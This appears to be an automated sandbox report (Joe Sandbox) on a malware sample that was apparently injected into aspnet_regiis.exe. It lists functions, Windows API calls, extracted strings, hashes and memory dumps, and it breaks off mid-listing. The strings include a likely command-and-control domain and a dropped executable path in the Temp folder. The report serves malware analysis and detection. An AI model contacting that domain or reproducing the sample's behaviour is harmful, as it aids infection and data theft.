Instruction ID: 79d8ffa172dbd7f0034f7b1da98cd993568bbe88574b8e3c0a244e2e4ca1317b
Opcode Fuzzy Hash: 620b69c736c3b7243da22b569ab6629c9fd112cea4b421a5d25b19dffa4c99dd
Instruction Fuzzy Hash: 8EF08C30A06619FBDF029B50CD09BAE7B79EF5A39AF214064F400B2552CB34CF00EB98

Function 6C9DD1D7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6C9DD25B
__alloca_probe_16.LIBCMT ref: 6C9DD321
__freea.LIBCMT ref: 6C9DD38D

Part of subcall function 6C9DC38C: HeapAlloc.KERNEL32(00000000,6C9DC0C3,6C9DC0C3,?,6C9DADC3,00000220,?,6C9DC0C3,?,?,?,?,6C9DE1E1,00000001,?,?), ref: 6C9DC3BE

__freea.LIBCMT ref: 6C9DD396
__freea.LIBCMT ref: 6C9DD3B9

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 0878ef06434adec9795d29442c082f47995ceb8bc2e90756e0a00c6f90146994
Instruction ID: 038400a5b1a00854a1011d5db96843e31d73fb4983e1586840b6dcd901382696
Opcode Fuzzy Hash: 0878ef06434adec9795d29442c082f47995ceb8bc2e90756e0a00c6f90146994
Instruction Fuzzy Hash: F651B173501A06ABEB154FA48C40EAF7BADDF65658F238129FD14B7B40D734ED408AB0

Function 6C9DE725 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6C9DE73D

Part of subcall function 6C9DA013: HeapFree.KERNEL32(00000000,00000000,?,6C9D924C), ref: 6C9DA029
Part of subcall function 6C9DA013: GetLastError.KERNEL32(?,?,6C9D924C), ref: 6C9DA03B

_free.LIBCMT ref: 6C9DE74F
_free.LIBCMT ref: 6C9DE761
_free.LIBCMT ref: 6C9DE773
_free.LIBCMT ref: 6C9DE785

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9fcb3716b8218fda8874e76024ffc04f8979cd23fa52362a195b71392eece24c
Instruction ID: c0a10485297fd20b1f44342f3f72d12cbbef9553def682c4c32711931c867a94
Opcode Fuzzy Hash: 9fcb3716b8218fda8874e76024ffc04f8979cd23fa52362a195b71392eece24c
Instruction Fuzzy Hash: D3F04F31501E0597CBB4DA64E8C4D9AB7EDAB26B18762C805F028F7A00CB35F9804AE4

Function 6CA1A870 Relevance: 6.4, Strings: 5, Instructions: 111COMMON

Download Yara Rule

Strings

<, xrefs: 6CA1A94D
c, xrefs: 6CA1A925
F, xrefs: 6CA1A939
], xrefs: 6CA1A966
G, xrefs: 6CA1A943

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: <$F$G$]$c
API String ID: 0-1818401840
Opcode ID: 1a46e6678baccec35d460b9800daf840807ac2f03a8e4269ff377cee507526d0
Instruction ID: 1ccc7df8d230f861226550375a80ccc9560a15a37452dfada86d3bf7b4ec10bf
Opcode Fuzzy Hash: 1a46e6678baccec35d460b9800daf840807ac2f03a8e4269ff377cee507526d0
Instruction Fuzzy Hash: 9041817140C7818ED301AF7C954834EFFE1AB92328F094E2DE4D586B92D679898DC793

Function 6C9DA117 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C9DA739: _free.LIBCMT ref: 6C9DA747

Part of subcall function 6C9DB30D: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,6C9DD383,?,00000000,00000000), ref: 6C9DB3B9

GetLastError.KERNEL32 ref: 6C9DA17F
__dosmaperr.LIBCMT ref: 6C9DA186
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6C9DA1C5
__dosmaperr.LIBCMT ref: 6C9DA1CC

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: b420d6f68b00949977525c9aa03d1e90e7df0fdeb71ad85cdae377a035dbdb18
Instruction ID: 2545a1f930454612e87da04bca6de509cab23bce3ae223e26c3d0719868d82ca
Opcode Fuzzy Hash: b420d6f68b00949977525c9aa03d1e90e7df0fdeb71ad85cdae377a035dbdb18
Instruction Fuzzy Hash: E421C471608A05AF9B109F668C9095BB7BCEF25368716C614F924F7A40DF30FE208791

Function 6C9D9A17 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6C9DDD27,?,00000001,6C9DC134,?,6C9DE1E1,00000001,?,?,?,6C9DC0C3,?,00000000), ref: 6C9D9A1C
_free.LIBCMT ref: 6C9D9A79
_free.LIBCMT ref: 6C9D9AAF
SetLastError.KERNEL32(00000000,00000013,000000FF,?,6C9DE1E1,00000001,?,?,?,6C9DC0C3,?,00000000,00000000,6C9E6360,0000002C,6C9DC134), ref: 6C9D9ABA

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 73554aa7eb0856cb0c661e1c4cf4d1a77e84650e79a0a86a18de265018a75fb2
Instruction ID: 3964092c50cf4c53091a9b042073679dc999cdc4e55519b6f22306fc882ee5bc
Opcode Fuzzy Hash: 73554aa7eb0856cb0c661e1c4cf4d1a77e84650e79a0a86a18de265018a75fb2
Instruction Fuzzy Hash: A911C43334AE116BD75176A58CA0A9A267D9BF267DB278264F128F3E80EE25E8094110

Function 6C9D9B6E Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000001,6C9D9FA8,6C9DA039,?,?,6C9D924C), ref: 6C9D9B73
_free.LIBCMT ref: 6C9D9BD0
_free.LIBCMT ref: 6C9D9C06
SetLastError.KERNEL32(00000000,00000013,000000FF,?,00000001,6C9D9FA8,6C9DA039,?,?,6C9D924C), ref: 6C9D9C11

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 0254a0c206961aeda15044189e88378239a8f71fd50f2d2682c14ccb514ad68a
Instruction ID: 50409f6fceffc36874cc20b6015e94e6f714508d2c7a6ed2aa3d6b151eb4d74c
Opcode Fuzzy Hash: 0254a0c206961aeda15044189e88378239a8f71fd50f2d2682c14ccb514ad68a
Instruction Fuzzy Hash: 6A11CA3135AF116EE75126798CA0E9A267D9BE367D727C224F52CF3AC0DF29E8094110

Function 6C9DEF76 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6C9DE9D0,?,00000001,?,00000001,?,6C9DDCB6,?,?,00000001), ref: 6C9DEF8D
GetLastError.KERNEL32(?,6C9DE9D0,?,00000001,?,00000001,?,6C9DDCB6,?,?,00000001,?,00000001,?,6C9DE202,6C9DC0C3), ref: 6C9DEF99

Part of subcall function 6C9DEF5F: CloseHandle.KERNEL32(FFFFFFFE,6C9DEFA9,?,6C9DE9D0,?,00000001,?,00000001,?,6C9DDCB6,?,?,00000001,?,00000001), ref: 6C9DEF6F

___initconout.LIBCMT ref: 6C9DEFA9

Part of subcall function 6C9DEF21: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6C9DEF50,6C9DE9BD,00000001,?,6C9DDCB6,?,?,00000001,?), ref: 6C9DEF34

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6C9DE9D0,?,00000001,?,00000001,?,6C9DDCB6,?,?,00000001,?), ref: 6C9DEFBE

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: d6057819177b39cd8bca62ab3c4534376cf197b46052372a7285a0215753ffdd
Instruction ID: 68aaae4362e3a93f2676d422da82c844f1b7161a47e9ab37a0148b2243a389f5
Opcode Fuzzy Hash: d6057819177b39cd8bca62ab3c4534376cf197b46052372a7285a0215753ffdd
Instruction Fuzzy Hash: EEF01C36208555FBCF621F95DC049C97F76EF1A7B6B168450FA18D5520C732E820EBD1

Function 6C9D9344 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6C9D934D

Part of subcall function 6C9DA013: HeapFree.KERNEL32(00000000,00000000,?,6C9D924C), ref: 6C9DA029
Part of subcall function 6C9DA013: GetLastError.KERNEL32(?,?,6C9D924C), ref: 6C9DA03B

_free.LIBCMT ref: 6C9D9360
_free.LIBCMT ref: 6C9D9371
_free.LIBCMT ref: 6C9D9382

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2d9b4b17fcf6510094d6986dd8fb2421b9d1ed0ee4f7e27a6f11aedb600c07f4
Instruction ID: 21f6544c41d25bc6d0aadcb92addedd2d5a0948489a1b795237d135986b051f3
Opcode Fuzzy Hash: 2d9b4b17fcf6510094d6986dd8fb2421b9d1ed0ee4f7e27a6f11aedb600c07f4
Instruction Fuzzy Hash: BAE0E576600A629ACB795F51EC205C57F36A73BA04312C046F418E2390CB779527AB82

Function 6C9D8C48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe, xrefs: 6C9D8C8B, 6C9D8C92, 6C9D8CC8

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe
API String ID: 0-4036957526
Opcode ID: 0ff763ec14a5db9704089e8944e0f1e0d05b440cab01c81d4da6bc8430b5a7ac
Instruction ID: 21fdc85c4dbf09d235d52a5bc523facb42be68f8bf7e1de64aa229254395b19d
Opcode Fuzzy Hash: 0ff763ec14a5db9704089e8944e0f1e0d05b440cab01c81d4da6bc8430b5a7ac
Instruction Fuzzy Hash: 3941C471A01A14AFCB198FA9CC80ADEBBBCEBA6304B128057E404F7741D771EA418794

Function 6C9F2970 Relevance: 5.1, Strings: 4, Instructions: 112COMMON

Download Yara Rule

Strings

HQ, xrefs: 6C9F2AA4
71, xrefs: 6C9F29DA
]R, xrefs: 6C9F2A99
3-, xrefs: 6C9F29E2

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: HQ$]R$3-$71
API String ID: 0-325566350
Opcode ID: bcfb1497371a74bb06bf111f4d07525be5e65d731b1275d0cc68b215fc8aa1b6
Instruction ID: f81b3f15172d48a4f6bb6b70d2923b6eb3bc1aeab61824f4fdaea151b137d150
Opcode Fuzzy Hash: bcfb1497371a74bb06bf111f4d07525be5e65d731b1275d0cc68b215fc8aa1b6
Instruction Fuzzy Hash: 2151FFB85493808BE334CF15D985B9FBAF1BBA2304F148A1CE2E95A714CBB48046CF53

Function 6C9F1D60 Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

58, xrefs: 6C9F1F30
8<, xrefs: 6C9F1F3B
I1, xrefs: 6C9F1F1A
13, xrefs: 6C9F1F25

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: 13$58$8<$I1
API String ID: 0-811294078
Opcode ID: 8e3eaa6b93fa1b7b28d2d0111d78178c7aa008d68228bab01cefc555d637b14e
Instruction ID: 4fe95214b5df1ba077764778b13c508163e066c39219f4e8cfe7c497c2bb910d
Opcode Fuzzy Hash: 8e3eaa6b93fa1b7b28d2d0111d78178c7aa008d68228bab01cefc555d637b14e
Instruction Fuzzy Hash: CE51FDB45193849FD230DF56A885B9BBBA2BBC6344F548E1CD2E81B344DB7084058FAA

Analysis Process: aspnet_regiis.exePID: 6976, Parent PID: 1228COMMON

Execution Graph

Execution Coverage:	18.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	23.7%
Total number of Nodes:	270
Total number of Limit Nodes:	18

Executed Functions

Function 72B59030 Relevance: 32.1, APIs: 11, Strings: 7, Instructions: 621
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(72B63678,00000000,00000001,72B63668,00000000), ref: 72B59137
SysAllocString.OLEAUT32(13C511C2), ref: 72B591B6
CoSetProxyBlanket.COMBASE(0000FDFC,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 72B591FC
SysAllocString.OLEAUT32(13C511C2), ref: 72B59265
SysAllocString.OLEAUT32(13C511C2), ref: 72B5930E
VariantInit.OLEAUT32(?), ref: 72B59384

Strings

IK, xrefs: 72B593A2
E!q#, xrefs: 72B590D3, 72B590DD, 72B596A7
C, xrefs: 72B590E6
Lgfe, xrefs: 72B59212
E!q#, xrefs: 72B591B1, 72B59688, 72B59199, 72B59230
\, xrefs: 72B590F1
=3, xrefs: 72B5915D

Memory Dump Source

Source File: 00000009.00000002.2609887058.0000000072B21000.00000020.00000400.00020000.00000000.sdmp, Offset: 72B20000, based on PE: true

Associated: 00000009.00000002.2609864358.0000000072B20000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609929745.0000000072B62000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609952007.0000000072B65000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609978469.0000000072B77000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_72b20000_aspnet_regiis.jbxd

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: =3$C$E!q#$E!q#$Lgfe$\$IK
API String ID: 65563702-4011188741
Opcode ID: 9b6631363ca29122042c11b1c69b44b1ae4afc38d9581024cd3fffc058d9bce6
Instruction ID: 88f74729a1475ecbce7b80b57ad831ed59a01fd6f546f2b94c89d45cd1c2f30e
Opcode Fuzzy Hash: 9b6631363ca29122042c11b1c69b44b1ae4afc38d9581024cd3fffc058d9bce6
Instruction Fuzzy Hash: 762220B29087409FE320CF29C881B5BBBE6EF85354F148A1CF5969B2C1E774D605CB92

Function 72B2E35B Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 72B2E370

Strings

Zb, xrefs: 72B2E59F
Lk, xrefs: 72B2E749, 72B2E750
r, xrefs: 72B2E385
U\, xrefs: 72B2E5AA
disobey-curly.sbs, xrefs: 72B2E752

Memory Dump Source

Source File: 00000009.00000002.2609887058.0000000072B21000.00000020.00000400.00020000.00000000.sdmp, Offset: 72B20000, based on PE: true

Associated: 00000009.00000002.2609864358.0000000072B20000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609929745.0000000072B62000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609952007.0000000072B65000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609978469.0000000072B77000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_72b20000_aspnet_regiis.jbxd

Similarity

API ID: Uninitialize
String ID: Lk$U\$Zb$disobey-curly.sbs$r
API String ID: 3861434553-1358511366
Opcode ID: fdc90e05f9ac6499b2316759055cfd64c9af1570096d4bff0a54bc460c7293f0
Instruction ID: 59504f2d899d9f83a7656c226188188de9250430e1481b90fb2873b4d728db56
Opcode Fuzzy Hash: fdc90e05f9ac6499b2316759055cfd64c9af1570096d4bff0a54bc460c7293f0
Instruction Fuzzy Hash: 29A19E7011C3D18AD3758F2AC4947EBBBE1AF97305F18895CD0EA5B282EB3951068B57

Function 72B289A0 Relevance: 7.7, APIs: 5, Instructions: 242
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 72B289C2
GetCurrentThreadId.KERNEL32 ref: 72B289D5
GetCurrentProcessId.KERNEL32 ref: 72B289DD
GetForegroundWindow.USER32 ref: 72B28BD2
ExitProcess.KERNEL32 ref: 72B28CB5

Memory Dump Source

Source File: 00000009.00000002.2609887058.0000000072B21000.00000020.00000400.00020000.00000000.sdmp, Offset: 72B20000, based on PE: true

Associated: 00000009.00000002.2609864358.0000000072B20000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609929745.0000000072B62000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609952007.0000000072B65000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609978469.0000000072B77000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_72b20000_aspnet_regiis.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: c3cf7b9b82eaca73fa0d4324362123960c9bdaa560ba25e6b880db68aa80020b
Instruction ID: ea4cedbabc8c1177134bf539e169d414beb8fa46ad0bc963b4bfc7a6809ece11
Opcode Fuzzy Hash: c3cf7b9b82eaca73fa0d4324362123960c9bdaa560ba25e6b880db68aa80020b
Instruction Fuzzy Hash: 5F711973B547044BC708DEBACC9235AFAD6ABC8714F09D83DA889D7390EA78DC054685

Function 72B5DF70 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(72B5BA46,?,00000010,00000005,00000000,?,00000000,?,?,72B39158,?,?,72B319B4), ref: 72B5DF9E

Memory Dump Source

Source File: 00000009.00000002.2609887058.0000000072B21000.00000020.00000400.00020000.00000000.sdmp, Offset: 72B20000, based on PE: true

Associated: 00000009.00000002.2609864358.0000000072B20000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609929745.0000000072B62000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609952007.0000000072B65000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609978469.0000000072B77000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_72b20000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 72B5DED0 Relevance: 1.6, APIs: 1, Instructions: 62
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,00000000,00000000,00000001,?,00000000,00000000,72B2B5FE,00000000,00000001), ref: 72B5DF36

Memory Dump Source

Source File: 00000009.00000002.2609887058.0000000072B21000.00000020.00000400.00020000.00000000.sdmp, Offset: 72B20000, based on PE: true

Associated: 00000009.00000002.2609864358.0000000072B20000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609929745.0000000072B62000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609952007.0000000072B65000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609978469.0000000072B77000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_72b20000_aspnet_regiis.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c3903d9f9c49c5a7d0d05078ee0aa086ef4581505cf922de4bfd99ae94877e70
Instruction ID: 3c964daef8e5e293a98dd177a1840feb497c6924b12353bd6ad94cc58ccba382
Opcode Fuzzy Hash: c3903d9f9c49c5a7d0d05078ee0aa086ef4581505cf922de4bfd99ae94877e70
Instruction Fuzzy Hash: 04019E779083019BD3150E3ADC62A9B3F64DFD7394F16047CE1429F740C628581BC292

Function 72B5B7E0 Relevance: 1.5, APIs: 1, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 72B5B84E

Memory Dump Source

Source File: 00000009.00000002.2609887058.0000000072B21000.00000020.00000400.00020000.00000000.sdmp, Offset: 72B20000, based on PE: true

Associated: 00000009.00000002.2609864358.0000000072B20000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609929745.0000000072B62000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609952007.0000000072B65000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609978469.0000000072B77000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_72b20000_aspnet_regiis.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f56b01651b9fe9980d3936bf7902ec69aacf3ba9d311c53dff2e9461d656e2db
Instruction ID: ce8b0e0cc220c37872ed79fb8ac2f6886a6212dd4a90020386c6f7544dc94b4b
Opcode Fuzzy Hash: f56b01651b9fe9980d3936bf7902ec69aacf3ba9d311c53dff2e9461d656e2db
Instruction Fuzzy Hash: 36019E33A453080BC301AE7DDCD4746BB96EFD9224F25063DE5D4873C0E531990AC395

Function 72B2CEB3 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 72B2CEC5

Memory Dump Source

Source File: 00000009.00000002.2609887058.0000000072B21000.00000020.00000400.00020000.00000000.sdmp, Offset: 72B20000, based on PE: true

Associated: 00000009.00000002.2609864358.0000000072B20000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609929745.0000000072B62000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609952007.0000000072B65000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2609978469.0000000072B77000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_72b20000_aspnet_regiis.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: cb64bdccc71ae5f1a451192b96b04040a38fc2070ccb88e265a0acdffd7ca3f3
Instruction ID: acc7026f3d671db3be6a3809c5c688b33c82872ecce39c24e1bc4236ebe32a27
Opcode Fuzzy Hash: cb64bdccc71ae5f1a451192b96b04040a38fc2070ccb88e265a0acdffd7ca3f3
Instruction Fuzzy Hash: 55D09231BD8241BBF9744A098C13F5022659709FA5F301A0CF322EE2C1C9E461818A08

Function 72B2CE80 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 72B2CE93

Memory Dump Source

Source File: 00000009.00000002.2609887058.0000000072B21000.00000020.00000400.00020000.00000000.sdmp, Offset: 72B20000, based on PE: true

Associated: 00000009.00000002.2609864358.0000000072B20000.00000040.00000400.00020000.00000000.sdmpDownload File
